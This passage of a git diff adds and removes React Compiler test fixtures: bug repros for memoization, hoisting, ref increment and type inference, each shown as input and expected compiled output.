+ * Found differences in evaluator results
+ *   Non-forget (expected):
+ *   (kind: ok)
+ *   {"bar":4,"x":{"foo":3,"wat0":"joe"}}
+ *   {"bar":5,"x":{"foo":3,"wat0":"joe"}}
+ *   Forget:
+ *   (kind: ok)
+ *   {"bar":4,"x":{"foo":3,"wat0":"joe"}}
+ *   {"bar":5,"x":{"foo":3,"wat0":"joe","wat1":"joe"}}
+ *
+ * Fork of `capturing-func-alias-captured-mutate`, but instead of directly
+ * aliasing `y` via `[y]`, we make an opaque call.
+ *
+ * Note that the bug here is that we don't infer that `a = makeArray(y)`
+ * potentially captures a context variable into a local variable. As a result,
+ * we don't understand that `a[0].x = b` captures `x` into `y` -- instead, we're
+ * currently inferring that this lambda captures `y` (for a potential later
+ * mutation) and simply reads `x`.
+ *
+ * Concretely `InferReferenceEffects.hasContextRefOperand` is incorrectly not
+ * used when we analyze CallExpressions.
+ */
+function Component({foo, bar}: {foo: number; bar: number}) {
+  let x = {foo};
+  let y: {bar: number; x?: {foo: number}} = {bar};
+  const f0 = function () {
+    let a = makeArray(y); // a = [y]
+    let b = x;
+    // this writes y.x = x
+    a[0].x = b;
+  };
+  f0();
+  mutate(y.x);
+  return y;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{foo: 3, bar: 4}],
+  sequentialRenders: [
+    {foo: 3, bar: 4},
+    {foo: 3, bar: 5},
+  ],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/bug-invalid-hoisting-functionexpr.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/bug-invalid-hoisting-functionexpr.expect.md
deleted file mode 100644
index 37cd740908bb..000000000000
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/bug-invalid-hoisting-functionexpr.expect.md
+++ /dev/null
@@ -1,93 +0,0 @@
-
-## Input
-
-```javascript
-import { Stringify } from "shared-runtime";
-
-/**
- * We currently hoist the accessed properties of function expressions,
- * regardless of control flow. This is simply because we wrote support for
- * function expressions before doing a lot of work in PropagateScopeDeps
- * to handle conditionally accessed dependencies.
- *
- * Current evaluator error:
- *  Found differences in evaluator results
- *  Non-forget (expected):
- *  (kind: ok) <div>{"shouldInvokeFns":true,"callback":{"kind":"Function","result":null}}</div>
- *  Forget:
- *  (kind: exception) Cannot read properties of null (reading 'prop')
- */
-function Component({ obj, isObjNull }) {
-  const callback = () => {
-    if (!isObjNull) {
-      return obj.prop;
-    } else {
-      return null;
-    }
-  };
-  return <Stringify shouldInvokeFns={true} callback={callback} />;
-}
-
-export const FIXTURE_ENTRYPOINT = {
-  fn: Component,
-  params: [{ obj: null, isObjNull: true }],
-};
-
-```
-
-## Code
-
-```javascript
-import { c as _c } from "react/compiler-runtime";
-import { Stringify } from "shared-runtime";
-
-/**
- * We currently hoist the accessed properties of function expressions,
- * regardless of control flow. This is simply because we wrote support for
- * function expressions before doing a lot of work in PropagateScopeDeps
- * to handle conditionally accessed dependencies.
- *
- * Current evaluator error:
- *  Found differences in evaluator results
- *  Non-forget (expected):
- *  (kind: ok) <div>{"shouldInvokeFns":true,"callback":{"kind":"Function","result":null}}</div>
- *  Forget:
- *  (kind: exception) Cannot read properties of null (reading 'prop')
- */
-function Component(t0) {
-  const $ = _c(5);
-  const { obj, isObjNull } = t0;
-  let t1;
-  if ($[0] !== isObjNull || $[1] !== obj.prop) {
-    t1 = () => {
-      if (!isObjNull) {
-        return obj.prop;
-      } else {
-        return null;
-      }
-    };
-    $[0] = isObjNull;
-    $[1] = obj.prop;
-    $[2] = t1;
-  } else {
-    t1 = $[2];
-  }
-  const callback = t1;
-  let t2;
-  if ($[3] !== callback) {
-    t2 = <Stringify shouldInvokeFns={true} callback={callback} />;
-    $[3] = callback;
-    $[4] = t2;
-  } else {
-    t2 = $[4];
-  }
-  return t2;
-}
-
-export const FIXTURE_ENTRYPOINT = {
-  fn: Component,
-  params: [{ obj: null, isObjNull: true }],
-};
-
-```
-      
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/bug-invalid-hoisting-functionexpr.tsx b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/bug-invalid-hoisting-functionexpr.tsx
deleted file mode 100644
index 047d17886815..000000000000
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/bug-invalid-hoisting-functionexpr.tsx
+++ /dev/null
@@ -1,30 +0,0 @@
-import { Stringify } from "shared-runtime";
-
-/**
- * We currently hoist the accessed properties of function expressions,
- * regardless of control flow. This is simply because we wrote support for
- * function expressions before doing a lot of work in PropagateScopeDeps
- * to handle conditionally accessed dependencies.
- *
- * Current evaluator error:
- *  Found differences in evaluator results
- *  Non-forget (expected):
- *  (kind: ok) <div>{"shouldInvokeFns":true,"callback":{"kind":"Function","result":null}}</div>
- *  Forget:
- *  (kind: exception) Cannot read properties of null (reading 'prop')
- */
-function Component({ obj, isObjNull }) {
-  const callback = () => {
-    if (!isObjNull) {
-      return obj.prop;
-    } else {
-      return null;
-    }
-  };
-  return <Stringify shouldInvokeFns={true} callback={callback} />;
-}
-
-export const FIXTURE_ENTRYPOINT = {
-  fn: Component,
-  params: [{ obj: null, isObjNull: true }],
-};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/bug-ref-prefix-postfix-operator.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/bug-ref-prefix-postfix-operator.expect.md
new file mode 100644
index 000000000000..ccfc45175000
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/bug-ref-prefix-postfix-operator.expect.md
@@ -0,0 +1,132 @@
+
+## Input
+
+```javascript
+import {useRef, useEffect} from 'react';
+
+/**
+ * The postfix increment operator should return the value before incrementing.
+ * ```js
+ * const id = count.current; // 0
+ * count.current = count.current + 1; // 1
+ * return id;
+ * ```
+ * The bug is that we currently increment the value before the expression is evaluated.
+ * This bug does not trigger when the incremented value is a plain primitive.
+ *
+ * Found differences in evaluator results
+ * Non-forget (expected):
+ * (kind: ok) {"count":{"current":0},"updateCountPostfix":"[[ function params=0 ]]","updateCountPrefix":"[[ function params=0 ]]"}
+ * logs: ['id = 0','count = 1']
+ * Forget:
+ * (kind: ok) {"count":{"current":0},"updateCountPostfix":"[[ function params=0 ]]","updateCountPrefix":"[[ function params=0 ]]"}
+ * logs: ['id = 1','count = 1']
+ */
+function useFoo() {
+  const count = useRef(0);
+  const updateCountPostfix = () => {
+    const id = count.current++;
+    return id;
+  };
+  const updateCountPrefix = () => {
+    const id = ++count.current;
+    return id;
+  };
+  useEffect(() => {
+    const id = updateCountPostfix();
+    console.log(`id = ${id}`);
+    console.log(`count = ${count.current}`);
+  }, []);
+  return {count, updateCountPostfix, updateCountPrefix};
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime";
+import { useRef, useEffect } from "react";
+
+/**
+ * The postfix increment operator should return the value before incrementing.
+ * ```js
+ * const id = count.current; // 0
+ * count.current = count.current + 1; // 1
+ * return id;
+ * ```
+ * The bug is that we currently increment the value before the expression is evaluated.
+ * This bug does not trigger when the incremented value is a plain primitive.
+ *
+ * Found differences in evaluator results
+ * Non-forget (expected):
+ * (kind: ok) {"count":{"current":0},"updateCountPostfix":"[[ function params=0 ]]","updateCountPrefix":"[[ function params=0 ]]"}
+ * logs: ['id = 0','count = 1']
+ * Forget:
+ * (kind: ok) {"count":{"current":0},"updateCountPostfix":"[[ function params=0 ]]","updateCountPrefix":"[[ function params=0 ]]"}
+ * logs: ['id = 1','count = 1']
+ */
+function useFoo() {
+  const $ = _c(5);
+  const count = useRef(0);
+  let t0;
+  if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
+    t0 = () => {
+      count.current = count.current + 1;
+      const id = count.current;
+      return id;
+    };
+    $[0] = t0;
+  } else {
+    t0 = $[0];
+  }
+  const updateCountPostfix = t0;
+  let t1;
+  if ($[1] === Symbol.for("react.memo_cache_sentinel")) {
+    t1 = () => {
+      const id_0 = (count.current = count.current + 1);
+      return id_0;
+    };
+    $[1] = t1;
+  } else {
+    t1 = $[1];
+  }
+  const updateCountPrefix = t1;
+  let t2;
+  let t3;
+  if ($[2] === Symbol.for("react.memo_cache_sentinel")) {
+    t2 = () => {
+      const id_1 = updateCountPostfix();
+      console.log(`id = ${id_1}`);
+      console.log(`count = ${count.current}`);
+    };
+    t3 = [];
+    $[2] = t2;
+    $[3] = t3;
+  } else {
+    t2 = $[2];
+    t3 = $[3];
+  }
+  useEffect(t2, t3);
+  let t4;
+  if ($[4] === Symbol.for("react.memo_cache_sentinel")) {
+    t4 = { count, updateCountPostfix, updateCountPrefix };
+    $[4] = t4;
+  } else {
+    t4 = $[4];
+  }
+  return t4;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [],
+};
+
+```
+      
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/bug-ref-prefix-postfix-operator.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/bug-ref-prefix-postfix-operator.js
new file mode 100644
index 000000000000..a7c1fad8bf23
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/bug-ref-prefix-postfix-operator.js
@@ -0,0 +1,42 @@
+import {useRef, useEffect} from 'react';
+
+/**
+ * The postfix increment operator should return the value before incrementing.
+ * ```js
+ * const id = count.current; // 0
+ * count.current = count.current + 1; // 1
+ * return id;
+ * ```
+ * The bug is that we currently increment the value before the expression is evaluated.
+ * This bug does not trigger when the incremented value is a plain primitive.
+ *
+ * Found differences in evaluator results
+ * Non-forget (expected):
+ * (kind: ok) {"count":{"current":0},"updateCountPostfix":"[[ function params=0 ]]","updateCountPrefix":"[[ function params=0 ]]"}
+ * logs: ['id = 0','count = 1']
+ * Forget:
+ * (kind: ok) {"count":{"current":0},"updateCountPostfix":"[[ function params=0 ]]","updateCountPrefix":"[[ function params=0 ]]"}
+ * logs: ['id = 1','count = 1']
+ */
+function useFoo() {
+  const count = useRef(0);
+  const updateCountPostfix = () => {
+    const id = count.current++;
+    return id;
+  };
+  const updateCountPrefix = () => {
+    const id = ++count.current;
+    return id;
+  };
+  useEffect(() => {
+    const id = updateCountPostfix();
+    console.log(`id = ${id}`);
+    console.log(`count = ${count.current}`);
+  }, []);
+  return {count, updateCountPostfix, updateCountPrefix};
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/bug-separate-memoization-due-to-callback-capturing.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/bug-separate-memoization-due-to-callback-capturing.expect.md
new file mode 100644
index 000000000000..7767989574c7
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/bug-separate-memoization-due-to-callback-capturing.expect.md
@@ -0,0 +1,138 @@
+
+## Input
+
+```javascript
+// @enableNewMutationAliasingModel:false
+import {ValidateMemoization} from 'shared-runtime';
+
+const Codes = {
+  en: {name: 'English'},
+  ja: {name: 'Japanese'},
+  ko: {name: 'Korean'},
+  zh: {name: 'Chinese'},
+};
+
+function Component(a) {
+  let keys;
+  if (a) {
+    keys = Object.keys(Codes);
+  } else {
+    return null;
+  }
+  const options = keys.map(code => {
+    const country = Codes[code];
+    return {
+      name: country.name,
+      code,
+    };
+  });
+  return (
+    <>
+      <ValidateMemoization inputs={[]} output={keys} onlyCheckCompiled={true} />
+      <ValidateMemoization
+        inputs={[]}
+        output={options}
+        onlyCheckCompiled={true}
+      />
+    </>
+  );
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{a: false}],
+  sequentialRenders: [
+    {a: false},
+    {a: true},
+    {a: true},
+    {a: false},
+    {a: true},
+    {a: false},
+  ],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime"; // @enableNewMutationAliasingModel:false
+import { ValidateMemoization } from "shared-runtime";
+
+const Codes = {
+  en: { name: "English" },
+  ja: { name: "Japanese" },
+  ko: { name: "Korean" },
+  zh: { name: "Chinese" },
+};
+
+function Component(a) {
+  const $ = _c(4);
+  let keys;
+  if (a) {
+    let t0;
+    if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
+      t0 = Object.keys(Codes);
+      $[0] = t0;
+    } else {
+      t0 = $[0];
+    }
+    keys = t0;
+  } else {
+    return null;
+  }
+  let t0;
+  if ($[1] === Symbol.for("react.memo_cache_sentinel")) {
+    t0 = keys.map(_temp);
+    $[1] = t0;
+  } else {
+    t0 = $[1];
+  }
+  const options = t0;
+  let t1;
+  if ($[2] === Symbol.for("react.memo_cache_sentinel")) {
+    t1 = (
+      <ValidateMemoization inputs={[]} output={keys} onlyCheckCompiled={true} />
+    );
+    $[2] = t1;
+  } else {
+    t1 = $[2];
+  }
+  let t2;
+  if ($[3] === Symbol.for("react.memo_cache_sentinel")) {
+    t2 = (
+      <>
+        {t1}
+        <ValidateMemoization
+          inputs={[]}
+          output={options}
+          onlyCheckCompiled={true}
+        />
+      </>
+    );
+    $[3] = t2;
+  } else {
+    t2 = $[3];
+  }
+  return t2;
+}
+function _temp(code) {
+  const country = Codes[code];
+  return { name: country.name, code };
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{ a: false }],
+  sequentialRenders: [
+    { a: false },
+    { a: true },
+    { a: true },
+    { a: false },
+    { a: true },
+    { a: false },
+  ],
+};
+
+```
+      
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/bug-separate-memoization-due-to-callback-capturing.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/bug-separate-memoization-due-to-callback-capturing.js
new file mode 100644
index 000000000000..c28ee705d166
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/bug-separate-memoization-due-to-callback-capturing.js
@@ -0,0 +1,48 @@
+// @enableNewMutationAliasingModel:false
+import {ValidateMemoization} from 'shared-runtime';
+
+const Codes = {
+  en: {name: 'English'},
+  ja: {name: 'Japanese'},
+  ko: {name: 'Korean'},
+  zh: {name: 'Chinese'},
+};
+
+function Component(a) {
+  let keys;
+  if (a) {
+    keys = Object.keys(Codes);
+  } else {
+    return null;
+  }
+  const options = keys.map(code => {
+    const country = Codes[code];
+    return {
+      name: country.name,
+      code,
+    };
+  });
+  return (
+    <>
+      <ValidateMemoization inputs={[]} output={keys} onlyCheckCompiled={true} />
+      <ValidateMemoization
+        inputs={[]}
+        output={options}
+        onlyCheckCompiled={true}
+      />
+    </>
+  );
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{a: false}],
+  sequentialRenders: [
+    {a: false},
+    {a: true},
+    {a: true},
+    {a: false},
+    {a: true},
+    {a: false},
+  ],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/bug-type-inference-control-flow.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/bug-type-inference-control-flow.expect.md
new file mode 100644
index 000000000000..4f4cf2d27478
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/bug-type-inference-control-flow.expect.md
@@ -0,0 +1,115 @@
+
+## Input
+
+```javascript
+import {arrayPush, CONST_NUMBER0, mutate} from 'shared-runtime';
+
+/**
+ * Repro for bug in our type inference system. We currently propagate inferred
+ * types through control flow / potential type guards. Note that this is
+ * inconsistent with both Flow and Typescript.
+ * https://flow.org/try/#1N4Igxg9gdgZglgcxALlAIwIZoKYBsD6uEEAztvhgE6UYCe+JADpdhgCYowa5kA0I2KAFcAtiRQAXSkOz9sADwxgJ+NPTbYuQ3BMnTZA+Y2yU4IwRO4A6SFBIrGVDGM7c+h46fNRLuKxJIGWh8MeT0ZfhYlCStpHzNsFBAMIQkIEQwJODAQfiEyfBE4eWw2fDgofDBMsAALfAA3KjgsXGxxZC4eAw0G-GhcWn9aY3wWZldu-g1mbGqJUoBaCRHEzrcDEgBrbAk62kXhXFxJ923d-cPRHEpTgyEoMDaqZdW7vKgoOfaSKgOKpqmDA+d4gB5fMA-P6LCCMLLQbiLOoYCqgh6-GDYRYIXYLSgkRZkCR4jpddwPfJLZjpOBkO4AX34kA0SRWxgABAAxYjsgC87OAAB0oOzReythU2Mh2YKQNyILLeMKxeymrgZNLhCIbsL6QBuYVs7DsgBCVD5AuVYolUClMpAZsoiqtorVGvZWpuSqg9OFMAeyjg0HZdTmW3lAAp5NKAPJoABWcwkAEppWZGLg4O12fJ2bSuTyhSKxSwJEJKCKAOQ2tiVvMi3MAMkbOasNb5vP5svlsoNPuFfoD8JFGQqUel8vZAB9TVReCHoHa0MRnlBUwWIJbi6K4DB2RHbGxk1uVSrd-uAIShsDh4hR5PHoun5-siS1SgQADuHuw34AotQECUBGsqysmfYvuyvrbqepblg2EFitBKpwRWOZ9vSuQgA0JgkEGUBJBk9gmCA9JAA
+ * https://www.typescriptlang.org/play/?#code/C4TwDgpgBAYg9nKBeKBvAUFLUDWBLAOwBMAuKAInjnIBpNsA3AQwBsBXCMgtgWwCMIAJ3QBfANzpQkKACEmg5GnpZ8xMuTmDayqM3aco3fkLoj0AMzYEAxsDxwCUawAsI1nFQAUADzJw+AFZuwACUZEwAzhFCwBFQ3lB4cVRK2InmUJ4AhJ4A5KpEuYmOCQBkpfEAdAXISCiUCOQhIalp2MDOgnAA7oYQvQCigl2CnuRWEN6QthBETTpmZhZWtvaOPEyEPmQpAD6y8jRODqRQfAgsEEwEYbAIrVh4GZ7WJy0Ybdgubh4IPiEST5YQQQYBsQQlQHYMxpEFgiHxCQiIA
+ *
+ * Found differences in evaluator results
+ * Non-forget (expected):
+ *   (kind: ok)
+ *   [2]
+ *   [3]
+ * Forget:
+ *   (kind: ok)
+ *   [2]
+ *   [2,3]
+ */
+function useFoo({cond, value}: {cond: boolean; value: number}) {
+  const x = {value: cond ? CONST_NUMBER0 : []};
+  mutate(x);
+
+  const xValue = x.value;
+  let result;
+  if (typeof xValue === 'number') {
+    result = xValue + 1; //               (1) here we infer xValue is a primitive
+  } else {
+    result = arrayPush(xValue, value); // (2) and propagate it to all other xValue references
+  }
+
+  return result;
+}
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [{cond: true}],
+  sequentialRenders: [
+    {cond: false, value: 2},
+    {cond: false, value: 3},
+  ],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime";
+import { arrayPush, CONST_NUMBER0, mutate } from "shared-runtime";
+
+/**
+ * Repro for bug in our type inference system. We currently propagate inferred
+ * types through control flow / potential type guards. Note that this is
+ * inconsistent with both Flow and Typescript.
+ * https://flow.org/try/#1N4Igxg9gdgZglgcxALlAIwIZoKYBsD6uEEAztvhgE6UYCe+JADpdhgCYowa5kA0I2KAFcAtiRQAXSkOz9sADwxgJ+NPTbYuQ3BMnTZA+Y2yU4IwRO4A6SFBIrGVDGM7c+h46fNRLuKxJIGWh8MeT0ZfhYlCStpHzNsFBAMIQkIEQwJODAQfiEyfBE4eWw2fDgofDBMsAALfAA3KjgsXGxxZC4eAw0G-GhcWn9aY3wWZldu-g1mbGqJUoBaCRHEzrcDEgBrbAk62kXhXFxJ923d-cPRHEpTgyEoMDaqZdW7vKgoOfaSKgOKpqmDA+d4gB5fMA-P6LCCMLLQbiLOoYCqgh6-GDYRYIXYLSgkRZkCR4jpddwPfJLZjpOBkO4AX34kA0SRWxgABAAxYjsgC87OAAB0oOzReythU2Mh2YKQNyILLeMKxeymrgZNLhCIbsL6QBuYVs7DsgBCVD5AuVYolUClMpAZsoiqtorVGvZWpuSqg9OFMAeyjg0HZdTmW3lAAp5NKAPJoABWcwkAEppWZGLg4O12fJ2bSuTyhSKxSwJEJKCKAOQ2tiVvMi3MAMkbOasNb5vP5svlsoNPuFfoD8JFGQqUel8vZAB9TVReCHoHa0MRnlBUwWIJbi6K4DB2RHbGxk1uVSrd-uAIShsDh4hR5PHoun5-siS1SgQADuHuw34AotQECUBGsqysmfYvuyvrbqepblg2EFitBKpwRWOZ9vSuQgA0JgkEGUBJBk9gmCA9JAA
+ * https://www.typescriptlang.org/play/?#code/C4TwDgpgBAYg9nKBeKBvAUFLUDWBLAOwBMAuKAInjnIBpNsA3AQwBsBXCMgtgWwCMIAJ3QBfANzpQkKACEmg5GnpZ8xMuTmDayqM3aco3fkLoj0AMzYEAxsDxwCUawAsI1nFQAUADzJw+AFZuwACUZEwAzhFCwBFQ3lB4cVRK2InmUJ4AhJ4A5KpEuYmOCQBkpfEAdAXISCiUCOQhIalp2MDOgnAA7oYQvQCigl2CnuRWEN6QthBETTpmZhZWtvaOPEyEPmQpAD6y8jRODqRQfAgsEEwEYbAIrVh4GZ7WJy0Ybdgubh4IPiEST5YQQQYBsQQlQHYMxpEFgiHxCQiIA
+ *
+ * Found differences in evaluator results
+ * Non-forget (expected):
+ *   (kind: ok)
+ *   [2]
+ *   [3]
+ * Forget:
+ *   (kind: ok)
+ *   [2]
+ *   [2,3]
+ */
+function useFoo(t0) {
+  const $ = _c(5);
+  const { cond, value } = t0;
+  let x;
+  if ($[0] !== cond) {
+    x = { value: cond ? CONST_NUMBER0 : [] };
+    mutate(x);
+    $[0] = cond;
+    $[1] = x;
+  } else {
+    x = $[1];
+  }
+
+  const xValue = x.value;
+  let result;
+  if (typeof xValue === "number") {
+    result = xValue + 1;
+  } else {
+    let t1;
+    if ($[2] !== value || $[3] !== xValue) {
+      t1 = arrayPush(xValue, value);
+      $[2] = value;
+      $[3] = xValue;
+      $[4] = t1;
+    } else {
+      t1 = $[4];
+    }
+    result = t1;
+  }
+
+  return result;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [{ cond: true }],
+  sequentialRenders: [
+    { cond: false, value: 2 },
+    { cond: false, value: 3 },
+  ],
+};
+
+```
+      
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/bug-type-inference-control-flow.ts b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/bug-type-inference-control-flow.ts
new file mode 100644
index 000000000000..4b8957dc8d27
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/bug-type-inference-control-flow.ts
@@ -0,0 +1,41 @@
+import {arrayPush, CONST_NUMBER0, mutate} from 'shared-runtime';
+
+/**
+ * Repro for bug in our type inference system. We currently propagate inferred
+ * types through control flow / potential type guards. Note that this is
+ * inconsistent with both Flow and Typescript.
+ * https://flow.org/try/#1N4Igxg9gdgZglgcxALlAIwIZoKYBsD6uEEAztvhgE6UYCe+JADpdhgCYowa5kA0I2KAFcAtiRQAXSkOz9sADwxgJ+NPTbYuQ3BMnTZA+Y2yU4IwRO4A6SFBIrGVDGM7c+h46fNRLuKxJIGWh8MeT0ZfhYlCStpHzNsFBAMIQkIEQwJODAQfiEyfBE4eWw2fDgofDBMsAALfAA3KjgsXGxxZC4eAw0G-GhcWn9aY3wWZldu-g1mbGqJUoBaCRHEzrcDEgBrbAk62kXhXFxJ923d-cPRHEpTgyEoMDaqZdW7vKgoOfaSKgOKpqmDA+d4gB5fMA-P6LCCMLLQbiLOoYCqgh6-GDYRYIXYLSgkRZkCR4jpddwPfJLZjpOBkO4AX34kA0SRWxgABAAxYjsgC87OAAB0oOzReythU2Mh2YKQNyILLeMKxeymrgZNLhCIbsL6QBuYVs7DsgBCVD5AuVYolUClMpAZsoiqtorVGvZWpuSqg9OFMAeyjg0HZdTmW3lAAp5NKAPJoABWcwkAEppWZGLg4O12fJ2bSuTyhSKxSwJEJKCKAOQ2tiVvMi3MAMkbOasNb5vP5svlsoNPuFfoD8JFGQqUel8vZAB9TVReCHoHa0MRnlBUwWIJbi6K4DB2RHbGxk1uVSrd-uAIShsDh4hR5PHoun5-siS1SgQADuHuw34AotQECUBGsqysmfYvuyvrbqepblg2EFitBKpwRWOZ9vSuQgA0JgkEGUBJBk9gmCA9JAA
+ * https://www.typescriptlang.org/play/?#code/C4TwDgpgBAYg9nKBeKBvAUFLUDWBLAOwBMAuKAInjnIBpNsA3AQwBsBXCMgtgWwCMIAJ3QBfANzpQkKACEmg5GnpZ8xMuTmDayqM3aco3fkLoj0AMzYEAxsDxwCUawAsI1nFQAUADzJw+AFZuwACUZEwAzhFCwBFQ3lB4cVRK2InmUJ4AhJ4A5KpEuYmOCQBkpfEAdAXISCiUCOQhIalp2MDOgnAA7oYQvQCigl2CnuRWEN6QthBETTpmZhZWtvaOPEyEPmQpAD6y8jRODqRQfAgsEEwEYbAIrVh4GZ7WJy0Ybdgubh4IPiEST5YQQQYBsQQlQHYMxpEFgiHxCQiIA
+ *
+ * Found differences in evaluator results
+ * Non-forget (expected):
+ *   (kind: ok)
+ *   [2]
+ *   [3]
+ * Forget:
+ *   (kind: ok)
+ *   [2]
+ *   [2,3]
+ */
+function useFoo({cond, value}: {cond: boolean; value: number}) {
+  const x = {value: cond ? CONST_NUMBER0 : []};
+  mutate(x);
+
+  const xValue = x.value;
+  let result;
+  if (typeof xValue === 'number') {
+    result = xValue + 1; //               (1) here we infer xValue is a primitive
+  } else {
+    result = arrayPush(xValue, value); // (2) and propagate it to all other xValue references
+  }
+
+  return result;
+}
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [{cond: true}],
+  sequentialRenders: [
+    {cond: false, value: 2},
+    {cond: false, value: 3},
+  ],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/call-spread-argument-mutable-iterator.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/call-spread-argument-mutable-iterator.expect.md
new file mode 100644
index 000000000000..74fb57b6bc2f
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/call-spread-argument-mutable-iterator.expect.md
@@ -0,0 +1,42 @@
+
+## Input
+
+```javascript
+import {useIdentity} from 'shared-runtime';
+
+function useFoo() {
+  const it = new Set([1, 2]).values();
+  useIdentity();
+  return Math.max(...it);
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [{}],
+  sequentialRenders: [{}, {}],
+};
+
+```
+
+## Code
+
+```javascript
+import { useIdentity } from "shared-runtime";
+
+function useFoo() {
+  const it = new Set([1, 2]).values();
+  useIdentity();
+  return Math.max(...it);
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [{}],
+  sequentialRenders: [{}, {}],
+};
+
+```
+      
+### Eval output
+(kind: ok) 2
+2
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/call-spread-argument-mutable-iterator.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/call-spread-argument-mutable-iterator.js
new file mode 100644
index 000000000000..1b30f0a46f7c
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/call-spread-argument-mutable-iterator.js
@@ -0,0 +1,13 @@
+import {useIdentity} from 'shared-runtime';
+
+function useFoo() {
+  const it = new Set([1, 2]).values();
+  useIdentity();
+  return Math.max(...it);
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [{}],
+  sequentialRenders: [{}, {}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/call-spread.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/call-spread.expect.md
index 7a3ddf443f43..2d7bc3f046e4 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/call-spread.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/call-spread.expect.md
@@ -2,22 +2,31 @@
 ## Input
 
 ```javascript
+import {makeArray} from 'shared-runtime';
+
 function Component(props) {
-  const x = foo(...props.a, null, ...props.b);
+  const x = makeArray(...props.a, null, ...props.b);
   return x;
 }
 
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{a: [1, 2], b: [2, 3, 4]}],
+};
+
 ```
 
 ## Code
 
 ```javascript
 import { c as _c } from "react/compiler-runtime";
+import { makeArray } from "shared-runtime";
+
 function Component(props) {
   const $ = _c(3);
   let t0;
   if ($[0] !== props.a || $[1] !== props.b) {
-    t0 = foo(...props.a, null, ...props.b);
+    t0 = makeArray(...props.a, null, ...props.b);
     $[0] = props.a;
     $[1] = props.b;
     $[2] = t0;
@@ -28,5 +37,12 @@ function Component(props) {
   return x;
 }
 
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{ a: [1, 2], b: [2, 3, 4] }],
+};
+
 ```
-      
\ No newline at end of file
+      
+### Eval output
+(kind: ok) [1,2,null,2,3,4]
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/call-spread.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/call-spread.js
index 5e73773bd1d2..8b7767c3bf89 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/call-spread.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/call-spread.js
@@ -1,4 +1,11 @@
+import {makeArray} from 'shared-runtime';
+
 function Component(props) {
